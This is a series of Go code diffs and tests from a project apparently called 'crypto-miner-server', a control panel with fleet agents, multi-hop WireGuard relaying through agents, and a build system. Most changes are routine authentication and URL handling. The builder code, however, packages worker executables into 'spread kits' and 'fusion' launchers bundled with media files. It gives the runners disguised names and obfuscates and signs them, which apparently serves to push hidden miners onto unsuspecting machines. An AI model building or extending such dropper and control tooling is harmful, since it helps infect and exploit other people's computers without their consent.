rc := chi.NewRouteContext()
rc.URLParams.Add("id", sessionID)
req2 := httptest.NewRequest(http.MethodGet, "/pathtrace/"+sessionID+"/status", nil)
req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rc))
rec = httptest.NewRecorder()
handler.Status(rec, req2)
var status map[string]interface{}
_ = json.Unmarshal(rec.Body.Bytes(), &status)
if status["ready"] == true {
ready = true
break
}
time.Sleep(50 * time.Millisecond)
}
if !ready {
t.Fatal("session did not become ready in time")
}
handler.mu.Lock()
sess := handler.sessions[sessionID]
handler.mu.Unlock()
if sess == nil || !sess.Ready {
t.Fatalf("session not ready: %+v", sess)
}
if sess.clientPubKey == "" {
t.Fatal("client pubkey should be set")
}
}
func TestPathTracerOrchestrationConfigurePeers(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
handler := NewPathTracerHandler(hub)
agent1 := "hop-one"
agent2 := "hop-two"
conn1 := connectTestAgent(t, hub, agent1)
conn2 := connectTestAgent(t, hub, agent2)
var (
captured []map[string]interface{}
captureMu sync.Mutex
)
done := make(chan struct{})
var once sync.Once
respond := func(conn *websocket.Conn, pub string) {
for {
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
return
}
if msg.Type != "command" {
continue
}
var payload map[string]interface{}
_ = json.Unmarshal(msg.Payload, &payload)
switch payload["action"] {
case "wg_setup":
setup, _ := json.Marshal(map[string]interface{}{
"public_key": pub, "external_ip": "198.51.100.1", "external_port": 51820,
})
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
"action": "wg_setup", "success": true, "message": string(setup),
})})
case "wg_configure":
dataStr, _ := payload["data"].(string)
var cfg map[string]interface{}
_ = json.Unmarshal([]byte(dataStr), &cfg)
captureMu.Lock()
captured = append(captured, cfg)
n := len(captured)
captureMu.Unlock()
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
"action": "wg_configure", "success": true,
})})
if n == 2 {
once.Do(func() { close(done) })
}
}
}
}
go respond(conn1, "PUB_HOP1")
go respond(conn2, "PUB_HOP2")
body := `{"agent_ids":["` + agent1 + `","` + agent2 + `"]}`
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
rec := httptest.NewRecorder()
handler.Start(rec, req)
var startResp map[string]interface{}
_ = json.Unmarshal(rec.Body.Bytes(), &startResp)
sessionID := startResp["session_id"].(string)
select {
case <-done:
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for wg_configure on both hops")
}
handler.mu.Lock()
sess := handler.sessions[sessionID]
handler.mu.Unlock()
if sess == nil {
t.Fatal("session missing")
}
// Hop1 configure payload must include client peer + forward to hop2.
var hop1Cfg map[string]interface{}
for _, cfg := range captured {
if la, _ := cfg["local_address"].(string); strings.HasPrefix(la, "10.66.0.2") {
hop1Cfg = cfg
break
}
}
if hop1Cfg == nil {
t.Fatalf("missing hop1 config in captured: %+v", captured)
}
peers, _ := hop1Cfg["peers"].([]interface{})
if len(peers) != 2 {
t.Fatalf("hop1 want 2 peers (client+forward), got %d", len(peers))
}
p0 := peers[0].(map[string]interface{})
if p0["public_key"] != sess.clientPubKey {
t.Fatalf("hop1 first peer should be client, got %v", p0["public_key"])
}
p1 := peers[1].(map[string]interface{})
if p1["public_key"] != "PUB_HOP2" {
t.Fatalf("hop1 forward peer = %v", p1["public_key"])
}
// Hop2 (exit) must have reverse peer to hop1 only.
var hop2Cfg map[string]interface{}
for _, cfg := range captured {
if la, _ := cfg["local_address"].(string); strings.HasPrefix(la, "10.66.0.3") {
hop2Cfg = cfg
break
}
}
peers2, _ := hop2Cfg["peers"].([]interface{})
if len(peers2) != 1 {
t.Fatalf("hop2 want 1 reverse peer, got %d", len(peers2))
}
if peers2[0].(map[string]interface{})["public_key"] != "PUB_HOP1" {
t.Fatal("hop2 should peer back to hop1")
}
}
func TestPathTracerBuildClientConfig(t *testing.T) {
hub := NewWSHub(nil)
h := NewPathTracerHandler(hub)
sess := testTraceSession(1)
sess.clientPrivKey = base64.StdEncoding.EncodeToString([]byte("a-32-byte-wireguard-priv-key!!"))
sess.clientPubKey = base64.StdEncoding.EncodeToString([]byte("a-32-byte-wireguard-pub-key!!!"))
cfg := h.buildClientConfig(sess)
if !strings.Contains(cfg, sess.clientPrivKey) {
t.Fatal("config should include client private key")
}
if !strings.Contains(cfg, sess.Hops[0].PublicKey) {
t.Fatal("config should peer to first hop")
}
if !strings.Contains(cfg, "10.66.0.1/24") {
t.Fatal("config should set client address")
}
}
func TestPathTracerStartValidation(t *testing.T) {
h := NewPathTracerHandler(NewWSHub(nil))
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", bytes.NewReader([]byte(`{}`)))
rec := httptest.NewRecorder()
h.Start(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("expected 400, got %d", rec.Code)
}
}

View File

@@ -15,6 +15,7 @@ import (
"strings"
"sync"
"time"
"unicode"
"crypto-miner-server/internal/builder"
"crypto-miner-server/internal/db"
@@ -342,6 +343,18 @@ func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string)
}
// generateRandomPassword returns an 8-character password (4 random bytes as hex).
func validateDashboardUsername(username string) error {
if len(username) < 3 || len(username) > 32 {
return fmt.Errorf("username must be 3-32 characters")
}
for _, c := range username {
if !unicode.IsLetter(c) && !unicode.IsDigit(c) && c != '_' && c != '-' {
return fmt.Errorf("username contains invalid characters")
}
}
return nil
}
func generateRandomPassword() string {
b := make([]byte, 4)
if _, err := rand.Read(b); err != nil {
@@ -371,12 +384,22 @@ func saveUser(username, password string) error {
return err
}
usersMu.Unlock()
authSessionCacheMu.Lock()
authSessionCache = map[string]time.Time{}
authSessionCacheMu.Unlock()
if err := upsertLoginSidecar(dataDir, username, password); err != nil {
log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err)
}
return nil
}
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
// must not trigger that — only bare browser navigations without these headers should.
func isSPAAuthRequest(r *http.Request) bool {
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
}
func basicAuthMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodOptions {
@@ -438,7 +461,9 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
user, pass, ok := r.BasicAuth()
if !ok {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
if !isSPAAuthRequest(r) {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
}
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
@@ -451,7 +476,9 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
usersMu.RUnlock()
if !exists || !checkPassword(storedHash, pass) {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
if !isSPAAuthRequest(r) {
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
}
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
@@ -463,7 +490,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, serverVersion ...string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
@@ -482,7 +509,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// X-Fleet-Secret is required by agent-facing endpoints; include it so
// browser-based callers (dev tools, custom dashboards) are not blocked
// by CORS preflight when sending that header.
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret"},
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret", "X-AetherForge-Client"},
AllowCredentials: false,
}))
@@ -492,13 +519,25 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
h := NewHandler(database)
r.Get("/health", h.HealthCheck)
r.Post("/auth/ws-ticket", func(w http.ResponseWriter, req *http.Request) {
user := AuthUsername(req)
if user == "" {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
ticket := issueWSTicket(user)
writeJSON(w, map[string]interface{}{
"ticket": ticket,
"expires_in": int(wsTicketTTL.Seconds()),
})
})
r.Get("/server/ready", h.ServerReady)
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
override := ""
if publicURLOverride != nil {
override = publicURLOverride()
}
GetServerInfo(w, r, override)
GetServerInfo(w, r, override, listenPort)
})
// Dashboard
@@ -583,7 +622,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true, "hint": newSecret[:8] + "..."})
hint := newSecret
if n := len(hint); n > 8 {
hint = hint[:8] + "..."
} else if n > 0 {
hint += "..."
}
writeJSON(w, map[string]interface{}{"ok": true, "hint": hint})
})
// User Management
@@ -592,8 +637,24 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
Username string `json:"username"`
Password string `json:"password"`
}
if err := json.NewDecoder(req.Body).Decode(&payload); err != nil || payload.Username == "" || payload.Password == "" {
http.Error(w, "Invalid username or password", http.StatusBadRequest)
if err := json.NewDecoder(req.Body).Decode(&payload); err != nil {
http.Error(w, "Invalid JSON", http.StatusBadRequest)
return
}
payload.Username = strings.TrimSpace(payload.Username)
if err := validateDashboardUsername(payload.Username); err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
if len(payload.Password) < 4 || len(payload.Password) > 128 {
http.Error(w, "password must be 4-128 characters", http.StatusBadRequest)
return
}
usersMu.RLock()
_, exists := authUsers[payload.Username]
usersMu.RUnlock()
if exists {
http.Error(w, "username already exists", http.StatusConflict)
return
}
if err := saveUser(payload.Username, payload.Password); err != nil {

View File

@@ -179,6 +179,52 @@ func TestBasicAuthMiddlewareWrongPassword(t *testing.T) {
if rec.Code != http.StatusUnauthorized {
t.Fatalf("expected 401, got %d", rec.Code)
}
if strings.Contains(rec.Header().Get("WWW-Authenticate"), "Basic") {
t.Fatal("SPA requests with Authorization must not get WWW-Authenticate")
}
}
func TestIsSPAAuthRequest(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
if isSPAAuthRequest(req) {
t.Fatal("bare request should not be SPA")
}
req.Header.Set("X-AetherForge-Client", "dashboard")
if !isSPAAuthRequest(req) {
t.Fatal("client header should mark SPA request")
}
req = httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
req.Header.Set("Authorization", "Basic dXNlcjpwYXNz")
if !isSPAAuthRequest(req) {
t.Fatal("Authorization header should mark SPA request")
}
}
func TestBasicAuthMiddlewareSPANoWWWAuthenticate(t *testing.T) {
resetAuthState(t)
usersMu.Lock()
authUsers["admin"] = "secret"
usersMu.Unlock()
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
t.Fatal("handler should not run without auth")
}))
for _, setup := range []func(*http.Request){
func(r *http.Request) { r.Header.Set("X-AetherForge-Client", "dashboard") },
func(r *http.Request) { r.Header.Set("Authorization", "Basic dXNlcjpwYXNz") },
} {
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
setup(req)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusUnauthorized {
t.Fatalf("expected 401, got %d", rec.Code)
}
if rec.Header().Get("WWW-Authenticate") != "" {
t.Fatal("SPA-marked 401 must not include WWW-Authenticate")
}
}
}
func TestBasicAuthMiddlewareValidCredentials(t *testing.T) {
@@ -242,6 +288,36 @@ func TestRouterPostUsersValidation(t *testing.T) {
}
}
func TestRouterPostUsersConflict(t *testing.T) {
router, _, _, _ := newTestRouter(t)
body, _ := json.Marshal(map[string]string{"username": testAuthUser, "password": "otherpass"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader(body))
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusConflict {
t.Fatalf("existing username should 409, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestRouterPostWSTicket(t *testing.T) {
router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodPost, "/api/v1/auth/ws-ticket", nil)
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["ticket"] == nil || body["ticket"] == "" {
t.Fatalf("expected ticket in response: %v", body)
}
}
func TestRouterPostUsersSuccess(t *testing.T) {
router, _, _, dataDir := newTestRouter(t)
@@ -352,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, nil, "", dataDir, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, "", dataDir, nil, 8989)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -429,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil, 8989)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -3,6 +3,7 @@ package api
import (
"net"
"net/http"
"net/url"
"strings"
)
@@ -15,41 +16,131 @@ type ServerInfo struct {
WebSocketURL string `json:"websocket_url"`
}
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string) {
host := r.Host
if idx := strings.Index(host, ":"); idx > 0 {
host = host[:idx]
// GetServerInfo returns URLs workers and droppers should use to reach this deck.
// When the dashboard is opened via HTTPS reverse proxy (e.g. Cloudflare tunnel),
// suggested_url uses https and omits :443 — not the local listen port (8989).
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int) {
if listenPort <= 0 {
listenPort = 8989
}
localIPs := listLocalIPv4()
suggestedHost := host
if isLoopbackHost(host) && len(localIPs) > 0 {
suggestedHost = localIPs[0]
}
suggestedURL := resolveSuggestedURL(r, publicURLOverride, listenPort, localIPs)
port := 8989
if idx := strings.LastIndex(r.Host, ":"); idx > 0 {
if p := r.Host[idx+1:]; p != "" {
port = parsePort(p)
host := r.Host
port := listenPort
if h, p, err := net.SplitHostPort(r.Host); err == nil {
host = h
if parsed := parsePort(p); parsed > 0 {
port = parsed
}
}
suggestedURL := "http://" + net.JoinHostPort(suggestedHost, itoa(port))
if strings.TrimSpace(publicURLOverride) != "" {
suggestedURL = strings.TrimSpace(publicURLOverride)
}
info := ServerInfo{
Port: port,
Host: host,
LocalIPs: localIPs,
SuggestedURL: suggestedURL,
DashboardURL: suggestedURL,
WebSocketURL: strings.Replace(strings.Replace(suggestedURL, "https://", "wss://", 1), "http://", "ws://", 1) + "/ws/agent",
WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
}
writeJSON(w, info)
}
func resolveSuggestedURL(r *http.Request, publicOverride string, listenPort int, localIPs []string) string {
if norm := normalizePublicURL(publicOverride); norm != "" {
return norm
}
return externalBaseFromRequest(r, listenPort, localIPs)
}
func externalBaseFromRequest(r *http.Request, listenPort int, localIPs []string) string {
scheme := requestScheme(r)
host := requestHost(r)
hostOnly, port := hostAndPort(host, scheme)
if isLoopbackHost(hostOnly) && len(localIPs) > 0 {
hostOnly = localIPs[0]
scheme = "http"
port = listenPort
}
return formatBaseURL(scheme, hostOnly, port)
}
func requestScheme(r *http.Request) string {
if r.TLS != nil {
return "https"
}
if p := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Proto"), ",")[0]); p != "" {
return strings.ToLower(p)
}
return "http"
}
func requestHost(r *http.Request) string {
if h := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Host"), ",")[0]); h != "" {
return h
}
return r.Host
}
func hostAndPort(host string, scheme string) (hostOnly string, port int) {
if h, p, err := net.SplitHostPort(host); err == nil {
return strings.Trim(h, "[]"), parsePort(p)
}
if strings.Count(host, ":") == 1 && !strings.Contains(host, "]") {
parts := strings.SplitN(host, ":", 2)
return parts[0], parsePort(parts[1])
}
hostOnly = strings.Trim(host, "[]")
if scheme == "https" {
return hostOnly, 443
}
return hostOnly, 80
}
func formatBaseURL(scheme, host string, port int) string {
host = strings.Trim(host, "[]")
if (scheme == "https" && port == 443) || (scheme == "http" && port == 80) {
return scheme + "://" + host
}
return scheme + "://" + net.JoinHostPort(host, itoa(port))
}
func normalizePublicURL(raw string) string {
raw = strings.TrimSpace(raw)
if raw == "" {
return ""
}
u, err := url.Parse(raw)
if err != nil || u.Scheme == "" || u.Host == "" {
return strings.TrimRight(raw, "/")
}
_, port := hostAndPort(u.Host, u.Scheme)
u.Host = formatURLHost(u.Hostname(), port, u.Scheme)
u.Path = ""
u.RawPath = ""
u.RawQuery = ""
u.Fragment = ""
return strings.TrimRight(u.String(), "/")
}
func formatURLHost(hostname string, port int, scheme string) string {
if (scheme == "https" && port == 443) || (scheme == "http" && port == 80) {
return hostname
}
return net.JoinHostPort(hostname, itoa(port))
}
func httpToWS(base string) string {
if strings.HasPrefix(base, "https://") {
return "wss://" + strings.TrimPrefix(base, "https://")
}
return "ws://" + strings.TrimPrefix(base, "http://")
}
func listLocalIPv4() []string {
var ips []string
ifaces, err := net.Interfaces()

View File

@@ -50,7 +50,7 @@ func TestGetServerInfoJSON(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "localhost:8989"
rec := httptest.NewRecorder()
GetServerInfo(rec, req, "")
GetServerInfo(rec, req, "", 8989)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
@@ -71,16 +71,33 @@ func TestGetServerInfoPublicURLOverride(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "localhost:8989"
rec := httptest.NewRecorder()
GetServerInfo(rec, req, "https://forge.example.com:443")
GetServerInfo(rec, req, "https://forge.example.com:443", 8989)
var info ServerInfo
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
t.Fatal(err)
}
if info.SuggestedURL != "https://forge.example.com:443" {
if info.SuggestedURL != "https://forge.example.com" {
t.Fatalf("override not applied: %q", info.SuggestedURL)
}
if info.WebSocketURL != "wss://forge.example.com:443/ws/agent" {
if info.WebSocketURL != "wss://forge.example.com/ws/agent" {
t.Fatalf("ws url = %q", info.WebSocketURL)
}
}
func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
req.Host = "nothing.thetempleofdoom.com"
req.Header.Set("X-Forwarded-Proto", "https")
req.Header.Set("X-Forwarded-Host", "nothing.thetempleofdoom.com")
rec := httptest.NewRecorder()
GetServerInfo(rec, req, "", 8989)
var info ServerInfo
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
t.Fatal(err)
}
if info.SuggestedURL != "https://nothing.thetempleofdoom.com" {
t.Fatalf("tunnel URL = %q, want https without :8989", info.SuggestedURL)
}
}

View File

@@ -27,9 +27,14 @@ func secureStringEqual(a, b string) bool {
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}
// checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade.
// The browser passes btoa("user:pass") — the same value stored in sessionStorage.
// checkDashboardWSToken validates dashboard WS upgrade credentials.
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
func checkDashboardWSToken(r *http.Request) bool {
if ticket := r.URL.Query().Get("ticket"); ticket != "" {
_, ok := consumeWSTicket(ticket)
return ok
}
token := r.URL.Query().Get("token")
if token == "" {
return false
@@ -43,10 +48,17 @@ func checkDashboardWSToken(r *http.Request) bool {
return false
}
user, pass := parts[0], parts[1]
if authCacheHit(user, pass) {
return true
}
usersMu.RLock()
stored, exists := authUsers[user]
usersMu.RUnlock()
return exists && checkPassword(stored, pass)
if !exists || !checkPassword(stored, pass) {
return false
}
authCacheSet(user, pass)
return true
}
var upgrader = websocket.Upgrader{
@@ -374,10 +386,8 @@ func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]int
}
h.pendingCmdMu.Unlock()
if ok {
select {
case ch <- payload:
default:
}
// Blocking send — Path Tracer and other orchestrators must not drop results.
ch <- payload
}
}
@@ -464,13 +474,22 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if clientIP == "" {
clientIP = r.RemoteAddr
}
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
clientIP = clientIP[:idx]
}
log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
if !allowAgentWSUpgrade(clientIP) {
http.Error(w, "Too Many Requests", http.StatusTooManyRequests)
log.Printf("[WS] Agent upgrade rate-limited from %s", clientIP)
return
}
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
return
}
log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)
_ = conn.SetReadDeadline(time.Now().Add(agentWSAuthTimeout))
agentID := ""
defer func() {
@@ -1119,14 +1138,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
}
default:
if agentID != "" {
log.Printf("[WS] Agent %s sent unknown message type %q", agentID, msg.Type)
} else {
log.Printf("[WS] Unauthenticated agent sent unknown message type %q from %s", msg.Type, clientIP)
}
}
}
}
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
// Verify dashboard session. The SPA sends its stored Basic-auth token as
// ?token=<base64> because the WS upgrade can't carry Authorization headers.
// We decode it and check against the same in-memory user map as the REST API.
// Verify dashboard session via short-lived ?ticket= or legacy ?token= (btoa creds).
if !checkDashboardWSToken(r) {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)

View File

@@ -98,6 +98,18 @@ func TestCheckDashboardWSTokenBcryptUser(t *testing.T) {
}
}
func TestCheckDashboardWSTicketOneTime(t *testing.T) {
ticket := issueWSTicket("dash")
req := httptest.NewRequest(http.MethodGet, "/ws/dashboard?ticket="+ticket, nil)
if !checkDashboardWSToken(req) {
t.Fatal("valid ticket should pass")
}
req = httptest.NewRequest(http.MethodGet, "/ws/dashboard?ticket="+ticket, nil)
if checkDashboardWSToken(req) {
t.Fatal("ticket should be one-time use")
}
}
func TestHandleDashboardWSUnauthorized(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {

View File

@@ -0,0 +1,54 @@
package api
import (
"crypto/rand"
"encoding/hex"
"sync"
"time"
)
const wsTicketTTL = 2 * time.Minute
type wsTicketEntry struct {
Username string
ExpiresAt time.Time
}
var (
wsTicketMu sync.Mutex
wsTickets = map[string]wsTicketEntry{}
)
// issueWSTicket mints a one-time, short-lived dashboard WebSocket credential.
func issueWSTicket(username string) string {
b := make([]byte, 24)
_, _ = rand.Read(b)
ticket := hex.EncodeToString(b)
wsTicketMu.Lock()
wsTickets[ticket] = wsTicketEntry{Username: username, ExpiresAt: time.Now().Add(wsTicketTTL)}
if len(wsTickets) > 512 {
now := time.Now()
for k, v := range wsTickets {
if now.After(v.ExpiresAt) {
delete(wsTickets, k)
}
}
}
wsTicketMu.Unlock()
return ticket
}
// consumeWSTicket validates and invalidates a ticket (one-time use).
func consumeWSTicket(ticket string) (string, bool) {
wsTicketMu.Lock()
defer wsTicketMu.Unlock()
entry, ok := wsTickets[ticket]
if !ok || time.Now().After(entry.ExpiresAt) {
if ok {
delete(wsTickets, ticket)
}
return "", false
}
delete(wsTickets, ticket)
return entry.Username, true
}

View File

@@ -63,6 +63,11 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
for _, p := range platforms {
src := workers[p.Label()]
if h.shouldSignBuild(req) {
if err := h.signExecutable(src); err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
}
}
destDir := filepath.Join(outDir, p.BinDir())
if err := os.MkdirAll(destDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
@@ -86,6 +91,9 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
if err := h.checkBuildSizeFile(zipPath); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
}
primary := workers[platforms[0].Label()]
if w, ok := workers["windows-amd64"]; ok {
@@ -155,6 +163,11 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
if h.shouldSignBuild(req) {
if err := h.signExecutable(res.LauncherPath); err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
}
}
fusionResults = append(fusionResults, res)
destDir := filepath.Join(outDir, p.BinDir())
if err := os.MkdirAll(destDir, 0755); err != nil {
@@ -186,14 +199,14 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
windowsRunnerName := disguisedRunnerName(payloadBase)
readme := fusionReadmeInfo{
Title: titleBase,
RunnerName: titleBase + "-runner",
RunnerName: windowsRunnerName,
MediaName: payloadBase,
PayloadKind: req.FusionPayloadKind,
MediaMode: mode,
}
windowsRunnerName := disguisedRunnerName(payloadBase)
unixRunnerName := sanitizeFileName(titleBase+"-runner")
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
@@ -211,6 +224,9 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
if err := h.checkBuildSizeFile(zipPath); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
}
if primaryPath == "" && len(fusionResults) > 0 {
primaryPath = fusionResults[0].LauncherPath

View File

@@ -55,24 +55,20 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
workerBytes := h.estimateWorkerBytes()
stubBytes := defaultFusionStubBytes
var total int64
switch kind {
case "video":
if mode == "embedded" {
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
} else {
total = workerBytes + stubBytes + resourcePatchOverhead
}
default:
if mode == "embedded" {
total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
} else {
// paired: payload ships beside the runner, not inside the .exe
total = workerBytes + stubBytes + resourcePatchOverhead
}
root := h.projectRoot
if root == "" || root == "." {
root, _ = filepath.Abs(".")
}
label := prepName
if kind != "video" {
label = strings.TrimSuffix(outputName, filepath.Ext(outputName))
label := strings.TrimSuffix(outputName, filepath.Ext(outputName))
if label == "" {
label = prepName
}
sub := fusionExportSubdir(req, label)
projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)
@@ -90,27 +86,25 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
Obfuscate: h.shouldObfuscate(req),
SignBuild: req.SignBuild,
Notes: []string{
fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)),
fmt.Sprintf("Payload: %s [%s] (%s)", prepName, kind, formatBytes(prepSize)),
fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
